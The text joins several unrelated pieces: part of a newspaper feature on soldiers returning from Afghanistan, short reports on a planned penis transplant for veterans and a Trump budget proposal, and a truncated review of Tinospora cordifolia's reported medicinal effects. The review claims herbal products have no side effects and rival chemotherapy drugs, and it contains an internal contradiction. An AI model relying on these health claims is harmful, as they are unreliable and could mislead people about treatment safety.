26, wondered whether he could ever talk openly to friends about the close calls he had seen: rocket-propelled grenades that just missed, accurate mortar rounds that somehow failed to explode. He detailed those experiences in a notebook that he planned to share with his wife and family, but no one else. “Some stuff, people just don’t — they wouldn’t really believe or appreciate,” he said. “I hope people don’t ask me that kind of stuff, and then after I tell it to them, they think I’m exaggerating.” Just getting the battalion’s nearly 800 soldiers home was far from simple. It would take a month, along with dozens of helicopters, military cargo planes and commercial jets, to move them the 6,500 miles from Kunduz through Mazar-i-Sharif and Kyrgyzstan to Watertown, N.Y. On his final flight home, Private Stevenson, 20, fantasized about the freedoms he would soon taste again: texting anyone anytime, wearing blue jeans and T-shirts, taking his little brother to the zoo. Being alone. Photo His deployment had been a mixed bag. After getting into an argument with a higher-ranking soldier, whom he half-heartedly threatened to kill, he lost a rank. But he had also performed well under pressure. Advertisement Continue reading the main story While driving his platoon leader on a mission last fall, his truck hit a powerful mine that blew off its rear end and flipped it over. Private Stevenson was the first out and helped the three other passengers, including his lieutenant, escape. He earned a Purple Heart after sustaining a back injury and a possible concussion in the explosion. As the plane approached New York, he was thinking about his next big challenge. His fiancée was pregnant, and he was so excited by the prospect that he planned to buy baby furniture and diapers as soon as he got home. More than ever, he thought he should get out of the Army and try college. He had never known his own father and had lived on the streets of Port Arthur, Tex., as a teenager after his mother died of AIDS . “I know I’m not ready” to be a father, he mused. But he wanted badly to try. Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters. “I want to be there for my kid’s first steps; I want to be there for his first bicycle accident,” he said. “I kind of think the Army is not for me, family-wise.” Reunions A wet snow was falling as Sergeant Narewski’s charter DC-10 touched down at Wheeler-Sack Army Airfield in March. It was just after midnight, and the air was colder than it had been in Afghanistan. But he bounded off the plane beaming like a boy heading into summer vacation. “I love America,” he shouted as he sprinted to the terminal. His unit went through customs, turned in weapons and received safety briefings on base speed limits, malaria pills and mental health counseling. Then they waited. Finally, at 6 a.m., they boarded yellow school buses and headed to the Fort Drum gymnasium. Photo In the bleachers sat his wife, Christina, with their three children. She had risen at 1 a.m. to apply her makeup, shimmy into a tight dress bought just for this occasion and hustle the children into front-row seats. As the soldiers marched into the gym, she craned anxiously in search of her husband, squirming with impatience as they croaked their division’s song out of key. She kicked off her high heels, and as soon as a commander shouted “Dismissed!” she sprinted across the hardwood floor. “Everybody was laughing at me, but I ran,” she said. “That’s all I remember, is running.” For minutes, time enough for some couples to hug and leave, she buried herself in Sergeant Narewski’s broad arms, whimpering. “Just to have him hold you or be in his arms again is just the greatest,” she said. “You think about that not happening while he’s gone.” Advertisement Continue reading the main story This second deployment of his had been harder than she anticipated, and she had begun taking medication to calm her nerves. To her delight, Sergeant Narewski, 31, accepted a drill sergeant assignment at Fort Jackson, S.C., a two- to three-year tour with no deployments. Being a drill sergeant would be good for his career, the sergeant said. But inside, he was still thinking about leading soldiers into combat. “I love it,” he said. “I’m going to miss it. I miss it already.” For Sgt. Tamara Sullivan, 32, there was nothing about Afghanistan she would miss. For days after arriving in Kunduz a year ago, she cried at the thought of not seeing her children, ages 4 and 2. The experience taught her a lesson about emotions, one she learned to apply with iron discipline. “It’s something that you just have to learn how to turn off and on, like a light switch,” she said. “I don’t feel like it made me less of a mother because I learned how to shut it off. I think it made me a better soldier.” Photo Now she was finally home, looking lost as she searched the crowd for her husband, Tim, who had come without the children from North Carolina , where the couple have a home. Suddenly he appeared, and they embraced awkwardly before rushing to find her bags. She had been thinking for days about how this deployment might change their family dynamic. Tim had learned to be a single parent and was so comfortable in the job that she wondered whether he was prepared to give it up. “I’m ready to come back home and jump back in, you know, where I left it, do my mommy role,” she said before leaving Afghanistan. “Just shoo him out of the way. I’m pretty sure he’ll be a little, you know, like, ‘Wait a minute, I used to do it this way.’ ” But she would have to wait to test those waters. She was scheduled to transfer to Fort Gordon, Ga., in October, but until then, Tim and the children would remain in North Carolina. Except for occasional weekends, they would be apart for another six months. Advertisement Continue reading the main story Still in her uniform, she took Tim to the airport and then went shopping at Wal-Mart . On a 3-by-5 card, she had neatly listed items she needed for her new apartment near Fort Drum: linens, a frying pan, food for one. She filled two carts and headed home. In her second-floor home, she began unpacking boxes of paperback books, unused uniforms and crayon drawings from her children. Without the children, it had been a subdued, almost joyless homecoming. But she seemed content in her solitude. The Army is her career, and a good one, she told herself. She just needed to be patient. “As long as my children are happy, as long as I know their education is set for, then I’m good,” she said. “I’ll just keep doing this as long as I have to.” Photo Sergeant Keith’s homecoming was surprisingly boisterous, even without his wife and son. His parents, grandfather, brother, nieces and nephews greeted him at the gymnasium, then accompanied him to a new apartment they had found and furnished for him. But when they left, he was by himself for the first time in practically a year. He took a shower, the longest and hottest in months, then crawled into a bed that felt as large as a swimming pool. “I never felt more alone any time ever in my life,” he recalled. The deployment, his third in six years, had been great, and not because of the adrenaline rush of combat — he saw none of that. A fuel specialist, Sergeant Keith, 29, was responsible for making sure gas tanks were full and generators were running. Sent from the battalion headquarters in Kunduz to an outpost in Baghlan, he had been left alone to do his job and loved the independence. For the first time in years, he felt proud to be a soldier, and ambitious to do more. The deployment had clearly been hard on his wife and made him almost a stranger to his 18-month-old son. “I got to work my way back into his life again,” he said. Advertisement Continue reading the main story And yet, almost to his surprise, he felt a sense of lightness and liberation now that his wife had left him. He went drinking at the American Legion with friends. Maybe he would start dating. And down the line, he felt almost certain he would deploy again. Perhaps it was the clarity of deployed life that he craved. The structured routines seemed so much simpler than the messy realities of home. He could not quite put his finger on it, but he knew that “normal life” no longer meant what it once did. Photo “Once you get stuck into that environment,” he said of deployment, “and you do it every day, it’s very, very hard coming back to the states and living a normal life. I’m just having a real hard time dealing with it.” Healing In the weeks after the battalion got home, Captain Bonenberger, 33, moved into an apartment with two fellow captains and considered his future. Should he accept a teaching position at West Point or get out of the Army? Private Stevenson married and learned that his child, due in August, was a boy. He bought an SAT prep book. Specialist Hayes, undergoing rehabilitation at Walter Reed Army Medical Center , visited his platoon mates at Fort Drum. To celebrate, they drank Guinness from his prosthetic leg. And Sgt. First Class Brian Eisch, 36, struggled to learn how to run again. A machine-gun burst had almost taken off his left leg during a battle in Kunduz last fall, and he had been flown to Walter Reed for treatment. Determined to return to a frontline unit, he would have to prove that he could run with a pack. Doctors told him to go slow, but it was not in his nature. So after returning to Fort Drum in February, he went to the gym almost nightly, working the shreds of muscle still in his calf. When he continued to limp, his doctors suggested that he replace the leg with a prosthetic. No way, he said. Advertisement Continue reading the main story “I’m trying to put on the happy face and the strong guy, but at the end of the day I’m almost in tears in pain, “ he said. “It hurts.” A single father, Sergeant Eisch was also trying to get his sons reacquainted with Fort Drum. They had spent the first half of his deployment in Wisconsin with their uncle. Now back home, Joey, 8, was dodging homework, and Isaac, 12, was having nightmares about bad things happening to his father. “I explained to him, that’s just your body,” said Sergeant Eisch, who was having his own recurring nightmares. “Your body is just trying to get rid of stress.” Though he earned a Bronze Star with Valor for aiding a critically wounded Afghan police officer, Sergeant Eisch was also plagued by self-doubt. “There’s a sense of me that says I failed for getting shot,” he said. Doctors suggested he had post-traumatic stress disorder, but Sergeant Eisch questioned the diagnosis. He also bristled at his assignment to a Warrior Transition Unit, where he felt he was surrounded by unmotivated and overmedicated soldiers. Up and then down. He raged at the Army. Then he bought himself a new boat to go with his new truck. He bemoaned his bad leg. Then he hugged his boys and considered himself lucky. It was like that in the Army. Hero one day, faceless grunt the next. Scout platoon sergeant in November, wounded warrior in March. He had rolled with it for almost 17 years; he hoped he could make it three more to retirement . “Hey, I’m still kicking, and there’s new motivation there,” he said. “I’m going to heal.” -Researchers at Johns Hopkins University will perform the US's first penis transplant in 2016, according to The New York Times. And when they do, they will be helping a soldier who was injured by a bomb blast in Afghanistan. Johns Hopkins has given its doctors permission to perform 60 of the experimental surgeries. It's unclear how high the demand is for this type of transplant, but a lot of people might end up benefitting from these operations if the researchers are successful. Between 2001 and 2013, more than 1,300 men in the US military have suffered injuries to their genitals, according to the Department of Defense Trauma Registry. Most were under the age of 35 at the time, and many lost all or a portion of their penises or testicles. These injuries are "as devastating as anything that our wounded warriors suffer." "These genitourinary injuries are not things we hear about or read about very often," W. P. Andrew Lee, the chairman of plastic and reconstructive surgery at Johns Hopkins, told the Times. But these injuries are "as devastating as anything that our wounded warriors suffer." This won't be the world's first penis transplant. The first successful surgery was performed in December of last year; the recipient was a 21-year-old man in South Africa who lost the organ because of complications related to a traditional circumcision procedure. In June, his doctors announced another success: the recipient's partner is pregnant. There has been another high-profile attempt in 2006, but it ended in failure. Doctors in China spent 15 hours attaching a penis to a 44-year-old patient, only to reverse it two weeks later at the patient's request. At the time, the recipient and his wife said they were suffering from psychological problems. As with any transplant, the risks of this operation are great. Bleeding, infections, rejections, and psychological effects could all arise; and some men may not regain complete function. But for many, the benefits may outweigh the risks. Lee told the Times that fathering children after the operation is a "realistic goal." For now, the transplant will be available only to veterans who were injured during a combat mission. The operation will take 12 hours and cost between $200,000 and $400,000; the university has offered to pay for the first surgery. For all 60 operations, the penis will come from a deceased donor. If the surgeries go well, Johns Hopkins University may decide to make the transplant a standard treatment. -White House Office of Management and Budget Director Mick Mulvaney called the administration's budget proposal a "Taxpayer First Budget," on May 23, and defended its cuts to federal anti-poverty programs. (Reuters) President Trump on Tuesday proposed a new process for closing numerous military bases, the elimination of government funding for public radio and television, and cuts of more than $1 billion to after-school programs. He called to weaken the Consumer Financial Protection Bureau (CFPB), defund several programs that study climate change, cut research on infectious diseases and reduce the Strategic Petroleum Reserve by 50 percent. Much of the focus on Trump's $4.094 trillion budget plan has been on the large reductions in safety net programs such as Medicaid and the Supplemental Nutrition Assistance Program, but there are dozens of smaller budget cuts that, in aggregate, would amount to a major realignment of the government’s role in society. Aside from national defense and border security, Trump’s plan would put the onus on states, companies, churches and charities to offer many educational, scientific and social services that have long been provided by the federal government. This was the overriding goal in revamping numerous anti-poverty programs, prodding states to do more to limit the number of people who seek and receive benefits. Top White House advisers said that the government spends too much and that a dramatic reduction is necessary to make the government — and its presence in society — smaller. “We're no longer going to measure compassion by the number of programs or the number of people on those programs, but by the number of people we help get off of those programs,” White House Office of Management and Budget Director Mick Mulvaney said Tuesday. The budget would also cut retirement benefits for federal employees, reduce health-care benefits for low-income children and make it harder to qualify for disability benefits. These changes, the White House said, are necessary to eliminate the deficit over 10 years, though many critics have questioned the budget math used to wipe out the gap between spending and revenue. Because the government spends more than it brings in through revenue, the government runs a deficit, which adds to the federal debt each year. “If I take money from you and I have no intention of ever giving it back, that is not debt, that is theft,” Mulvaney said. “And if we're going to borrow money from people, we have to have a plan for how we are going to pay it back.” White House Office of Management and Budget Director Mick Mulvaney defended the projection of unemployment rates in the administration's 2018 budget proposal on May 23, amid criticism of their assumptions about future economic performance. (Reuters) Under Trump’s plan, a number of the government’s biggest obligations would remain intact. It would continue to fully finance Medicare and Social Security retirement benefits, which combined will account for $1.5 trillion in federal spending next year. But myriad other programs would be structurally changed. The White House proposes reducing the size of the federal workforce (though it doesn’t specify by how much) and trimming regulation in a way that top aides argue will foster more economic growth. Workforce training programs run by the Labor Department would be scaled back. Critics have raised alarms that the changes would cut the government’s investment in future growth, making companies less competitive. “The budget shrinks the core parts of government — the parts that do education, research, infrastructure — to unprecedentedly low levels for a modern economy,” said Jason Furman, who was a top economic adviser during the Obama administration. “In doing so, I think it would make it harder — not easier — to reach the outlandishly high growth target that the administration has set for itself.” The budget would crack down on the CFPB, an agency created after the financial crisis that is designed to ensure that lenders don't rip off consumers. It proposes reducing the CFPB's funding by $6.8 billion between 2018 and 2027. The watchdog agency is an “unaccountable bureaucracy controlled by an independent director with unchecked regulatory authority and punitive power,” the White House said in its budget request. The agency needs to be restructured, it said, and limiting its budget in 2018 would “allow for an efficient transition period.” Supporters of the CFPB, however, believe weakening it will make it easier for lenders to trap borrowers with predatory loans. Similarly, the Trump budget plan would strip some money from the Securities and Exchange Commission. The Trump administration renewed a long-held call by the Pentagon for a new round of base realignments and closures, saying it could save $2 billion per year that could be spent on boosting military readiness. The request asks Congress to authorize the Defense Department to begin studying base realignment, with an eye toward carrying out the plan in 2021. But there could be strong resistance on Capitol Hill, where lawmakers have long been resistant to base closures in their districts. The last round of base realignment was carried out in 2005 by the administration of President George W. Bush. The White House is also proposing to shift the way it delivers some foreign aid programs, replacing grants with loans that must be repaid. Not all of the budget is red ink, though. In its $27.7 billion budget request, the Justice Department asked for $26 million for 300 new prosecutors in U.S. attorney's offices nationwide to support Attorney General Jeff Sessions’s emphasis on targeting violent criminals and prosecuting illegal immigrants. An additional $75 million was requested for 75 more immigration judges to adjudicate removal proceedings for people in the United States illegally. About $80 million was sought to fully open an underused federal prison in Thomson, Ill., which was once considered as a possible facility to hold Guantánamo prisoners and would provide the Bureau of Prisons with 1,500 to 2,000 more beds. And at least one of the cuts the White House had threatened has been pulled back. The budget would retain the Office of National Drug Control Policy, which had been threatened with virtual extinction, with $368.5 million in funding, a small decrease from its 2017 funding. In an email to full-time employees this month, Richard Baum, the acting director of the office, said the administration’s proposal for the fiscal year that begins in October would reflect “a nearly 95 percent” cut in the agency’s budget. That appears to have been largely reversed, and the office’s two major programs — the High Intensity Drug Trafficking Areas Program and the Drug-Free Communities Support Program — have been retained. -This is an open-access article distributed under the terms of the Creative Commons Attribution-Noncommercial-Share Alike 3.0 Unported, which permits unrestricted use, distribution, and reproduction in any medium, provided the original work is properly cited. Natural products with medicinal value are gradually gaining importance in clinical research due to their well-known property of no side effects as compared to drugs. Tinospora cordifolia commonly named as “Guduchi” is known for its immense application in the treatment of various diseases in the traditional ayurvedic literature. Recently the discovery of active components from the plant and their biological function in disease control has led to active interest in the plant across the globe. Our present study in this review encompasses (i) the genetic diversity of the plant and (ii) active components isolated from the plant and their biological role in disease targeting. The future scope of the review remains in exploiting the biochemical and signaling pathways affected by the compounds isolated from Tinospora so as to enable new and effective formulation in disease eradication. Tinospora cordifolia commonly named as “Guduchi” in Sanskrit belonging to family Menispermaceae is a genetically diverse, large, deciduous climbing shrub with greenish yellow typical flowers, found at higher altitude.[ 1 – 3 ] In racemes or racemose panicles, the male flowers are clustered and female are solitary. The flowering season expands over summers and winters.[ 4 ] A variety of active components derived from the plant like alkaloids, steroids, diterpenoid lactones, aliphatics, and glycosides[ 4 ] have been isolated from the different parts of the plant body, including root, stem, and whole plant. Recently, the plant is of great interest to researchers across the globe because of its reported medicinal properties like anti-diabetic, anti-periodic, anti-spasmodic, anti-inflammatory, anti-arthritic, anti-oxidant, anti-allergic, anti-stress, anti-leprotic, anti-malarial, hepatoprotective, immunomodulatory and anti-neoplastic activities. In this review, we focus our attention to: (i) the reported genetic diversity in the Plant (ii) biological roles reported in humans and animals and active components from the plant. (iii) biological roles reported in humans and animals. All the reports of experiments on different model types (in vitro, ex vivo, and in vivo) were taken varying from animal and human model systems. Reported data was analysed and represented in the form of figures and tables for the current review. ChemDraw Ultra 9.0 Software, Cambridge soft Life Science Enterprise Solutions was used for drawing the figures in the review. The figures of the compounds were obtained as reported in different journal sources. Published literature on recent developments in research in Tinospora cordifolia, including original articles and papers in Pubmed and Pubmed Central Databases were taken into study for the report. Information extracted from a total of 175 published articles of which five review articles and cross references thereof were collected. The search criteria were restricted to the roles of the plant in the field of medical advancements and the effects that has been observed with different experiments. RESULTS (i) Tinospora cordifolia: A genetically diverse plant Reports on studies of morphological and physiological characters of the plant, including plant length, stem diameter, growth habit, floral morphology, flower color, stomatal density, trichomal density, lenticels density, petiole length, plant biomass, and other characteristics of the plant and diversity in the genetic components identified by markers have indicated the diversity in the medicinal plant which has profound importance for efficient and effective management of plant genetic resources. Reports using markers for random amplified polymorphic DNA,[5] and inter-simple sequence repeat primers[1,5] have pointed toward the genetic variation within the population. However, reports on conservation strategies and propagation of the germplasm are few. (ii) Tinospora cordifolia: Biological roles A myriad of biologically active compounds, including alkaloids, diterpenoid lactones, glycosides, steroids, sesquiterpenoid, phenolics, aliphatic compounds, and polysaccharides have been isolated from different parts of the plant body [ [4–39], ]. These compounds have been reported to have different biological roles in disease conditions thus enabling potential application in clinical research. Tinospora cordifolia extracts are extensively used in various herbal preparations for the treatment of different ailments for its anti-periodic, anti-spasmodic, anti-microbial, anti-osteoporotic, anti-inflammatory, anti-arthritic, anti-allergic, and anti-diabetic properties[6] [ ]. Table 1 Open in a separate window Open in a separate window The major biological property of Tinospora cordifolia includes: Immunomodulatory property The immuomodulatory property of Tinospora cordifolia is well documented.[40–42] Active compounds 11-hydroxymustakone, N-methyl-2-pyrrolidone, N-formylannonain, cordifolioside A, magnoflorine, tinocordiside and syringin[6] has been reported to have potential immunomodulatory and cytotoxic effects.[13,40–42] They have been reported to function by boosting the phagocytic activity of macrophages, production of reactive oxygen species (ROS) in human neutrophil cells,[43] enhancement in nitric oxide (NO) production by stimulation of splenocytes and macrophages indicative of anti-tumor effects.[44] Aqueous Tinospora extracts has been also reported to influence the cytokine production, mitogenicity, stimulation and activation of immune effector cells.[44] In mice, Tinospora cordifolia extracts has been shown to result in up-regulation of IL-6 cytokine, resulting in acute reactions to injury, inflammation, activation of cytotoxic T cells, and B cell differentiation.[45] Active compounds in aqueous extracts like alkaloids, di-terpenoid lactones, glycosides, steroids, sesquiterpenoid, phenolics, aliphatic compounds or polysaccharides[19] in experimental rat model have been reported for their cytotoxic action. Dry stem crude extracts of Tinospora cordifolia with a polyclonal B cell mitogen, G1-4A on binding to macrophages have been reported to enhance immune response in mice by inducing secretion of IL-1, together with activation of macrophages. Reports on Tinospora cordifolia in prevention of oxidative damage also exist.[46] The (1,4)-alpha-d-glucan (alpha-d-glucan), derived Tinospora cordifolia have been shown to activate human lymphocytes with downstream synthesis of the pro- and anti-inflammatory cytokines, in vitro.[47] Synergistic effects of compounds in the immunomodulatory activity of Tinospora cordifolia are reported.[6] Anti-diabetes property The stem of Tinospora cordifolia is widely used in the therapy of diabetes by regulating the blood glucose[48] in traditional folk medicine of India. It has been reported to mediate its anti-diabetic potential through mitigating oxidative stress (OS), promoting insulin secretion and also by inhibiting gluconeogenesis and glycogenolysis, thereby regulating blood glucose.[48] Alkaloids, tannins, cardiac glycosides, flavonoids, saponins, and steroids as the major phytoconstituents[49] of Tinospora cordifolia have been reported to play an anti-diabetic role. The isoquinoline alkaloid rich fraction from stem, including, palmatine, jatrorrhizine, and magnoflorine have been reported for insulin-mimicking and insulin-releasing effect both in vitro and in vivo.[10] Oral treatments of root extracts have been reported to regulate blood glucose levels, enhance insulin secretion and suppress OS markers. Initiation and restoration of cellular defence anti-oxidant markers including superoxide dismutase (SOD), glutathione peroxidase (GPx) and glutathione (GSH), inhibition of glucose 6-phosphatase and fructose 1, 6-diphosphatase, restoration of glycogen content in liver was reported in in vitro studies.[10] The crude stem ethyl acetate, dichloromethane (DCM), chloroforms and hexane extracts of Tinospora cordifolia inhibited the enzyme's salivary and pancreatic amylase and glucosidase[50] thus increasing the post-prandial glucose level and finds potential application in treatment of diabetes mellitus. The root extract has been reported to decrease the levels of glycosylated hemoglobin, plasma thiobarbituric acid reactive substances, hydroperoxides, ceruloplasmin and vitamin E diabetic rats.[51] Oral administration of Tinospora cordifolia extract in “Ilogen-Excel” formulation (Ayurvedic herbal formulation) composed of eight medicinal plants including Curcuma longa, Strychnos potatorum, Salacia oblonga, Tinospora cordifolia, Vetivelia zizanioides, Coscinium fenestratum, Andrographis paniculata, and Mimosa pudica is reported to reduce GSH and vitamin C[51] in blood and urine glucose and lipids in the serum and tissues in alloxan diabetic rats with a subsequent decrease in body weight.[52] Decreased concentration of GSH, GPx, and SOD, catalase activity is reported in heart and brain of diabetic rats.[53] T. cardifolia root extract (TCE) has been reported to cause an increase in body weight, total hemoglobin and hepatic hexokinase[54] and lowering hepatic glucose-6-phosphatase, serum acid phosphatase (ACP), alkaline phosphatase (ALP), and lactate dehydrogenase (LDH) in diabetic rats thus having hypoglycemic and hypolipidaemic effect.[54] The protective effects of TCE were reported in presence of higher levels of anti-oxidant molecules and enzymes.[55] TCE has been shown to significantly counterbalance the diabetes-associated OS in the maternal liver by lowering the levels of malondialdehyde and ROS and the increased levels of GSH and total thiols.[56] Anti-toxic effects Tinospora cordifolia extracts have been reported to scavenge free radicals generated during aflatoxicosis.[57] It exhibited protective effects by lowering thiobarbituric acid reactive substances (TBARS) levels and enhancing the GSH, ascorbic acid, protein, and the activities of anti-oxidant enzymes viz., SOD, CAT, GPx, Glutathione S-transferase (GST) and glutathione reductase (GR) in kidney. Alkaloids such as a choline, tinosporin, isocolumbin, palmatine, tetrahydropalmatine, and magnoflorine from Tinospora cordifolia showed protection against aflatoxin-induced nephrotoxicity.[57] Tinospora cordifolia stem and leaves extract has shown hepatoprotective effect in Swiss albino male mice against lead nitrate induced toxicity.[58] Oral administration of plant extracts prevented the occurrence of lead nitrate induced liver damage.[59] Decreased level of SOD, CAT and increased level of aspartate aminotransferase (AST), alanine aminotransferase (ALT), ALP, and ACP were observed in mice suffering from lead toxicity.[59] Synergistic administration of aqueous extract of stem and leaf along with the lead nitrate increased the activities of SOD and CAT and decreased the levels of AST, ALT, ALP, and ACP enzymes.[59] Protective role of aqueous extract of stem and leaves of Tinospora cordifolia overcoming the toxic effects of lead is shown as its effects on the hematological values.[58] Cyclophosphamide (CP) an anti-cancer drug has been reported to reduce the GSH content in both bladder and liver and lowered levels of cytokines Inerferon-γ and IL-2 an increased levels of pro-inflammatory cytokine TNF-α. This effect could be reversed on Tinospora cordifolia treatment indicating the role of Tinospora cordifolia in overcoming CP induced toxicities in cancer treatment.[60] Anti-arthritic, anti-osteoporotic effects Single or synergistic formulations of Tinospora cordifolia with Zingiber officinale has been used in rheumatoid arthritis treatment in traditional medicine.[61] Tinospora cordifolia have been reported to affect the proliferation, differentiation and mineralization of bone like matrix on osteoblast model systems in vitro and hence finds potential application as an anti-osteoporotic agent. Alcoholic extract of Tinospora cordifolia have been shown to stimulate the growth of osteoblasts, increasing the differentiation of cells into osteoblastic lineage and also increasing the mineralization of bone like matrix.[62] Ecdysteroids isolated from the plant have been reported of protein anabolic and anti-osteoporotic effects in mammals. Beta-Ecdysone (Ecd) from Tinospora cordifolia extracts have been reported to induce a significant increase in the thickness of joint cartilage, induce the osteogenic differentiation in mouse mesenchymal stem cells[63] and to relieve osteoporosis in osteoporotic animal models.[63] Further 20-OH-β-Ecd isolated from Tinospora cordifolia has been reported of its anti-osteoporotic effects[62] thus highlighting the role of Tinospora cordifolia in the treatment of osteoporosis and osteoarthritis.[64] Anti-HIV effects TCE has been shown to demonstrate a decrease in the recurrent resistance of HIV virus thus improving the therapeutic outcome.[65] Anti-HIV effects of TCE was revealed by reduction in eosinophil count, stimulation of B lymphocytes, macrophages and polymorphonuclear leucocytes and hemoglobin percentage thus, revealing its promising role of application in management of the disease.[65,66] Anti-cancer effects The anti-cancer effects of Tinospora cordifolia are mostly studied in animal models. TCE have been shown to have a radioprotective role by significantly increase in body weight, tissue weight, testes-body weight ratio and tubular diameter and inhibit the harmful effects of sub-lethal gamma radiation on testes in male Swiss albino mice. In pre-irradiating mice, TCE significantly affected radiation induced rise in lipid peroxidation and resulted in the decline of GSH concentration in testes.[67] Pre-treatment of HeLa cells by TCE have been shown to decrease the cell viability, increase LDH and decrease in GSH S-transferase activity.[68] Dihydrotestosterone (DHT) in TCE has been reported to stimulate the growth and proliferation of Human LNCaP cells (which are androgen-sensitive human prostate adenocarcinoma cells). Androgenic compounds in TCE act via androgen receptor.[69] Newly isolated compounds like (5R, 10R)-4R, 8R-dihydroxy-2S, 3R: 15, 16-diepoxycleroda-13 (16), 17, 12S: 18,1S-dilactone (ECD), a diterpenoid from Tinospora cordifolia has been reported for its chemopreventive potential in diethylnitrosamine (DEN) induced hepatocellular carcinoma (HCC) in rats by decreasing anti-oxidant activities via SOD, CAT and detoxification enzymes like GSH, GPx and subsequent increase in the activities of the hepatic markers ((Serum glutamic oxaloacetic transaminase)SGOT, (Serum Glutamic Pyruvate Transaminase) SGPT, LDH) and decreased serum transaminase level thus confirming its anti-tumor effects and promising application as a potent chemo preventive drug for HCC.[26] The radiosensitizing activity of DCM extract of Tinospora cordifolia has been reported in Ehrlich ascites carcinoma (EAC) mice enabling tumor-free survival via depletion of GSH and glutathione-S-transferase by elevated levels of lipid peroxidation and DNA damage to tumor cells.[9,57,70] TCE hexane fraction has been shown to block the G1 phase in EAC mice and cause apoptosis by the formation of apoptotic bodies, nuclear condensation, activation of caspase-3, decreased cell number and ascites volume, increased expression of pro-apoptotic gene, Bax, and decreased expression of anti-apoptotic gene, Bcl-2.[71] TCE could induce a reduction of papillomas, tumor yield, tumor burden, and tumor weight while increase phase II detoxifying enzymes[72] in skin carcinoma animal models. The effect of a hydroalcoholic (80% ethanol: 20% distilled water) extract of aerial roots of Tinospora cordifolia on Swiss albino mice[73] revealed a significant increase in acid-soluble sulfhydryl (-SH), cytochrome P (450) contents, and enzyme activities of cytochrome P (450) reductase, cytochrome b5 reductase, GST, DT-diaphorase (DTD), SOD, catalase, GPX, and GR activity in the liver highlighting the chemopreventive role of Tinospora cordifolia against carcinogenicity.[73] In vivo anti-angiogenic activity of TCE in B16-F10 melanoma was detected by increased levels of pro-inflammatory cytokines, including IL-1 β, IL-6, TNF-α, granulocyte monocyte-colony stimulating factor (GM-CSF) and the vascular endothelial cell growth factor (VEGF), increased production of anti-angiogenic agents IL-2 and tissue inhibitor of metalloprotease-1 (TIMP-1) in the B16-F10 extract-treated animals.[74] The polysaccharide fraction from Tinospora cordifolia was found to be very effective in reducing the metastatic potential of B16-F10 melanoma cells. Markers of neoplastic development were reduced significantly in the treated animals compared with the untreated control animals.[75] Most of the synthetic chemotherapeutic agents suffer from toxic side effects.[76] The effect of Guduchi extracts was comparable or better than doxorubicin treatment.[77] Tinospora cordifolia: Anti-microbial activity The methanol extracts of Tinospora cordifolia have been reported to have potential against microbial infections.[78] The anti-bacterial activity of Tinospora cordifolia extracts has been assayed against Escherichia coli, Staphylococcus aureus, Klebsiella pneumoniae, Proteus vulgaris, Salmonella typhi, Shigella flexneri, Salmonella paratyphi, Salmonella typhimurium, Pseudomonas aeruginosa, Enterobacter aerogene, and Serratia marcesenses (Gram-positive bacteria).[78–80] In mice models, TCE has been reported to function in bacterial clearance and improved phagocytic and intracellular bactericidal capacities of neutrophils.[81] TCE has been reported of immunostimulant properties on macrophages.[82] Intra-mammary infusion of hydro-methanolic extracts of Tinospora cordifolia treatment showed enhanced phagocytic activity of polymorphonuclear cells in bovine subclinical mastitis.[39,83] Tinospora cordifolia: Anti-oxidant activity The anti-oxidant capacity of Tinospora cordifolia stem methanol extracts administered orally increased the erythrocytes membrane lipid peroxide and catalase activity. It also decreased the activities of SOD, GPx in alloxan-induced diabetic rats.[52,84,85] Tinospora cordifolia Willd.(Menispermaceae) extracts possess possible inhibitors of aldose reductase and anti-oxidant agents[86] thereby reducing chemotoxicity induced by free radicals.[87] TCE has been reported of its strong free radical scavenging properties against superoxide anion (O 2 -), hydroxyl radicals (OH), NO radical, and peroxynitrite anion (ONOO-).[87] The extract was also found to reduce the toxic side effects of CP in mice by the free radical formation.[88,89] Tinospora cordifolia lowers the levels of malondialdehyde and ROS and the higher levels of GSH and total thiols. The protective effects of Tinospora cordifolia could be observed even in the fetal milieu, with higher levels of anti-oxidant molecules and enzymes.[56] Tinospora cordifolia has the ability to scavenge free radicals generated during aflatoxicosis. Tinospora cordifolia showed protection against aflatoxin-induced nephrotoxicity due to the presence of alkaloids such as a choline, tinosporin, isocolumbin, palmatine, tetrahydropalmatine, and magnoflorine.[8] A significant increase in the concentration of TBARS in brain along with a decrease in heart has been observed in diabetic rats.[53] It also enhanced formation of SOD, GPx, and GSH in liver. Treatment with Tinospora cordifolia also inhibited glucose 6-phosphatase and fructose 1, 6-diphosphatase; and restored glycogen content in liver. Tinospora cordifolia has been shown to regulate blood glucose.[90] (5R, 10R)-4R, 8R-dihydroxy-2S, 3R: 15, 16-diepoxycleroda-13 (16), 17, 12S: 18,1S-dilactone (ECD), a diterpenoid from Tinospora cordifolia has been shown to possess chemo-preventive potential in DEN induced HCC rats. Treatment of ECD in both preventive and curative DEN induced animals increased the level of anti-oxidants and detoxification enzymes.[26] An aqueous extract of Tinospora cordifolia has a radio-protective enhancing the survival of mice against a sub-lethal dose of gamma radiation.[64–65] Tinospora cordifolia was effective in elevating the GSH levels, expression of the gamma-glutamylcysteine ligase and Cu-Zn SOD genes.[91] Aqueous extract of Tinospora cordifolia inhibited radiation mediated 2-deoxyribose degradation by inhibiting the formation of (Fe2+)-bipiridyl complex formation to confer radio-protective effects.[92] The arabinogalactan polysaccharide (TSP) isolated from Tinospora cordifolia showed good protection against iron-mediated lipid peroxidation of rat brain homogenate as revealed by the TBARS and lipid hydroperoxide (LOOH) assays.[42] Tinospora cordifolia also has the components that decrease the recurrent resistance of HIV virus to antiretroviral therapy (ART) and improve the outcome of the therapy.[93] The effect of a hydroalcoholic (80% ethanol: 20% distilled water) extract of aerial roots of Tinospora cordifolia on carcinogen/drug metabolizing phase-I and phase-II enzymes, anti-oxidant enzymes, GSH content, LDH and lipid peroxidation has been shown in liver of Swiss albino mice. The enhanced GSH level and enzyme activities involved in xenobiotic metabolism and maintaining anti-oxidant status of cells are suggestive of a chemo-preventive efficacy of Tinospora cordifolia.[73] Tinospora cordifolia has been reported to contain an alpha-glucosidase inhibitor, characterized as saponarin (apigenin-6-C-glucosyl-7-O-glucoside). The leaf extract had appreciable anti-oxidant and hydroxyl radical scavenging activities.[20] Pepticare, a herbomineral formulation of the Ayurveda medicine consisting of the herbal drugs: Glycyrrhiza glabra, Emblica officinalis and Tinospora 